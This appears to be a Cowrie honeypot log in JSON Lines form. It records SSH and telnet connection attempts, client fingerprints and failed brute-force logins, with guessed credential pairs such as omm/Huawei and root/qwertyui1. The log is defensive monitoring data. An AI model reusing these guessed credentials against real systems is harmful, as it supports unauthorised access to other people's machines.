{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:36.563234Z","src_ip":"213.209.159.158","session":"e3e7714b8dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:36.566852Z","src_ip":"213.209.159.158","session":"e3e7714b8dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41012,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8499bd2e038","protocol":"telnet","message":"New connection: 152.42.224.71:41012 (10.17.0.5:23) [session: d8499bd2e038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:39.636792Z"}
{"eventid":"cowrie.login.failed","username":"omm","password":"Huawei","message":"login attempt [omm/Huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:46.119462Z","src_ip":"213.209.159.158","session":"e3e7714b8dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:49.474991Z","src_ip":"213.209.159.158","session":"e3e7714b8dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c1bd57fb91","protocol":"ssh","message":"New connection: 193.37.70.224:37990 (159.203.135.109:22) [session: 80c1bd57fb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:49.756916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:49.761564Z","src_ip":"193.37.70.224","session":"80c1bd57fb91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:49.855071Z","src_ip":"193.37.70.224","session":"80c1bd57fb91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csyjxtr","message":"login attempt [root/csyjxtr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:50.135020Z","src_ip":"193.37.70.224","session":"80c1bd57fb91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:51.232096Z","src_ip":"193.37.70.224","session":"80c1bd57fb91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":41110,"dst_ip":"10.17.0.5","dst_port":22,"session":"153adbc84e92","protocol":"ssh","message":"New connection: 86.111.176.100:41110 (10.17.0.5:22) [session: 153adbc84e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:59.604959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:59.609290Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:59.686646Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:02:20:b2:82:2b:3c:d2:1d:a9:1f:ed:40:ee:b2:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqx2v8hQsvVHB9msTelWbxvElxDwTu9R5IKWAqZLbQXeFkTX6xx2w1mCAjHlTtt3uyuXz2yzGyZBKUm0QnWHaIUGxdIa9vf+jXx00DI/IS3G3HO9919p+LJmnzWUYBLgRpFz5bTBBPqz3+PUkyIudRSiosxuMVBg4b6RUa7splqeSnJZFSaR42ucs9BppKOWHpqkvAkpo05asqQ8P5UC4LE5Gw/5b+tJnOvDuJJ0KpfSYf6eh905x8icHit+GwnZ8rTfLqH+fqr1Phb7oCn1bg8qUwfKiKGSdfBdRfKgW/dDcOSmvAxBmQcoe1GM9taZkChnDOrlK66upconKhhsjBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:02:20:b2:82:2b:3c:d2:1d:a9:1f:ed:40:ee:b2:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.006786Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:02:20:b2:82:2b:3c:d2:1d:a9:1f:ed:40:ee:b2:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqx2v8hQsvVHB9msTelWbxvElxDwTu9R5IKWAqZLbQXeFkTX6xx2w1mCAjHlTtt3uyuXz2yzGyZBKUm0QnWHaIUGxdIa9vf+jXx00DI/IS3G3HO9919p+LJmnzWUYBLgRpFz5bTBBPqz3+PUkyIudRSiosxuMVBg4b6RUa7splqeSnJZFSaR42ucs9BppKOWHpqkvAkpo05asqQ8P5UC4LE5Gw/5b+tJnOvDuJJ0KpfSYf6eh905x8icHit+GwnZ8rTfLqH+fqr1Phb7oCn1bg8qUwfKiKGSdfBdRfKgW/dDcOSmvAxBmQcoe1GM9taZkChnDOrlK66upconKhhsjBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.010945Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:1e:75:60:f1:94:ec:0c:39:5e:29:23:94:3a:36:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtHPNNg7Ppvbo3H+GXKiawNgzDsGdVUP1zu3PiL2oB+NYMzwPpHAxh1cAo2sd+YZQMIiODFA69eb3iE3uJDm7uzAqhMMHIwXypj0WoJliZGU3268LpEKi6wcykijiJlexu7cv/aecINoNG5qI3WzxBmPNQLYSraV3lPEjSHQ4oM96v8cA60aMO1JdGDIwZHxkgflQLY8BSYdWJabuBzozCRbONWieHAHSHwxCj0szUciHTloxV9/stxwqoKYEpTQlenqEosGm8oTClvCxjbj8h8e2NFZ/RmJSSjDFkTBss8WTBm0TDAahejAvkeHK//rNmTjf0YHT3o3qRMP9o/rlV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:1e:75:60:f1:94:ec:0c:39:5e:29:23:94:3a:36:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.082080Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:1e:75:60:f1:94:ec:0c:39:5e:29:23:94:3a:36:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtHPNNg7Ppvbo3H+GXKiawNgzDsGdVUP1zu3PiL2oB+NYMzwPpHAxh1cAo2sd+YZQMIiODFA69eb3iE3uJDm7uzAqhMMHIwXypj0WoJliZGU3268LpEKi6wcykijiJlexu7cv/aecINoNG5qI3WzxBmPNQLYSraV3lPEjSHQ4oM96v8cA60aMO1JdGDIwZHxkgflQLY8BSYdWJabuBzozCRbONWieHAHSHwxCj0szUciHTloxV9/stxwqoKYEpTQlenqEosGm8oTClvCxjbj8h8e2NFZ/RmJSSjDFkTBss8WTBm0TDAahejAvkeHK//rNmTjf0YHT3o3qRMP9o/rlV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.086015Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:38:77:08:d2:62:86:74:8b:1b:eb:a6:cc:94:c0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYBzSrRpch3VHc+OXNPPOls7CgzS31nS++O5Mutj3fZFRncgleZf0ypnAu19sE/c5/xJ+NZBvPOjRY7YEOW5snO/AYJswp3ZF0IsCe6qnP6pLYmWsAZUvmtIpEJdehPJXlWNIoqiDHGBEedqCTMiqyA0V+lHm6R3L3BtOVrD/5I0QfXcC8CVSyuIcz811ZTO/UO+jgQ99i3POpP4hfRBuQgTO5u/UkJTU3unM6meXnUqxco+fy1vvCxKPmjCukDdHhU701htAIibeKxr9N8LKlY7k8fE0Kck9U2ykheTnkNNkDykjHumx/lkIHLqT91/HMzEK8gDzlk71C7DDjspvR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:38:77:08:d2:62:86:74:8b:1b:eb:a6:cc:94:c0:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.157491Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:38:77:08:d2:62:86:74:8b:1b:eb:a6:cc:94:c0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYBzSrRpch3VHc+OXNPPOls7CgzS31nS++O5Mutj3fZFRncgleZf0ypnAu19sE/c5/xJ+NZBvPOjRY7YEOW5snO/AYJswp3ZF0IsCe6qnP6pLYmWsAZUvmtIpEJdehPJXlWNIoqiDHGBEedqCTMiqyA0V+lHm6R3L3BtOVrD/5I0QfXcC8CVSyuIcz811ZTO/UO+jgQ99i3POpP4hfRBuQgTO5u/UkJTU3unM6meXnUqxco+fy1vvCxKPmjCukDdHhU701htAIibeKxr9N8LKlY7k8fE0Kck9U2ykheTnkNNkDykjHumx/lkIHLqT91/HMzEK8gDzlk71C7DDjspvR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.165454Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:9b:27:09:21:89:86:68:b1:03:28:d4:8c:39:70:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyHbJW+6MC++RSZeXZjAIXK5dasK2GaTHQrUm1ewv5LK0AbW7Tcne28RIrDJTjGZEtjgj8avbkhhgEEEp8Z5gOtpQWpHkYgNMddeGpoSREr+SJqj70qhW2mUIlRRrf7U+ZGyipyNdzwi657W/JEXhV6SgKtH1Kt49dMF96Y8IjifcZZKTj1c7xgZW29N4izw6eCI3AHwwNRdqeNGdS6klIn/BXFpwwKIA6D4j1VGGO0yjN2+TdU3E48Pjav3UmbYUXtsRV+1Q/hHCVsr07t14IhILjsKJ7dtikBhWiNAIADYlVzxkyHvT5AEHAyFTbfjVB/OgTIQvvEhyWx5W6bF/T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:9b:27:09:21:89:86:68:b1:03:28:d4:8c:39:70:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.245859Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:9b:27:09:21:89:86:68:b1:03:28:d4:8c:39:70:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyHbJW+6MC++RSZeXZjAIXK5dasK2GaTHQrUm1ewv5LK0AbW7Tcne28RIrDJTjGZEtjgj8avbkhhgEEEp8Z5gOtpQWpHkYgNMddeGpoSREr+SJqj70qhW2mUIlRRrf7U+ZGyipyNdzwi657W/JEXhV6SgKtH1Kt49dMF96Y8IjifcZZKTj1c7xgZW29N4izw6eCI3AHwwNRdqeNGdS6klIn/BXFpwwKIA6D4j1VGGO0yjN2+TdU3E48Pjav3UmbYUXtsRV+1Q/hHCVsr07t14IhILjsKJ7dtikBhWiNAIADYlVzxkyHvT5AEHAyFTbfjVB/OgTIQvvEhyWx5W6bF/T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.250012Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:d9:bb:a8:b0:84:e9:9a:1c:c2:4e:a0:74:73:ee:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFJfW4tmkosvIulF8P4wmKqCC2UHTzm5pKuJ1Z094ikr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7f:d9:bb:a8:b0:84:e9:9a:1c:c2:4e:a0:74:73:ee:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.321886Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:d9:bb:a8:b0:84:e9:9a:1c:c2:4e:a0:74:73:ee:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFJfW4tmkosvIulF8P4wmKqCC2UHTzm5pKuJ1Z094ikr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.325735Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:00.396905Z","src_ip":"86.111.176.100","session":"153adbc84e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":38838,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d19d1855956","protocol":"ssh","message":"New connection: 109.172.54.111:38838 (10.17.0.5:22) [session: 8d19d1855956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:15.764339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:15.769100Z","src_ip":"109.172.54.111","session":"8d19d1855956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:15.870581Z","src_ip":"109.172.54.111","session":"8d19d1855956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678123","message":"login attempt [root/12345678123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:16.176835Z","src_ip":"109.172.54.111","session":"8d19d1855956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:17.283857Z","src_ip":"109.172.54.111","session":"8d19d1855956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44036,"dst_ip":"159.203.135.109","dst_port":22,"session":"86048db164a3","protocol":"ssh","message":"New connection: 77.94.47.83:44036 (159.203.135.109:22) [session: 86048db164a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:19.420487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:19.425376Z","src_ip":"77.94.47.83","session":"86048db164a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:19.549484Z","src_ip":"77.94.47.83","session":"86048db164a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyui1","message":"login attempt [root/qwertyui1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:19.921769Z","src_ip":"77.94.47.83","session":"86048db164a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:21.052323Z","src_ip":"77.94.47.83","session":"86048db164a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.007864236831665,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:23.644560Z","src_ip":"152.42.224.71","session":"d8499bd2e038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49322,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1734189d1e4","protocol":"ssh","message":"New connection: 103.122.221.179:49322 (10.17.0.5:22) [session: d1734189d1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:53.718081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:17:53.723141Z","src_ip":"103.122.221.179","session":"d1734189d1e4","protocol":"ssh"}
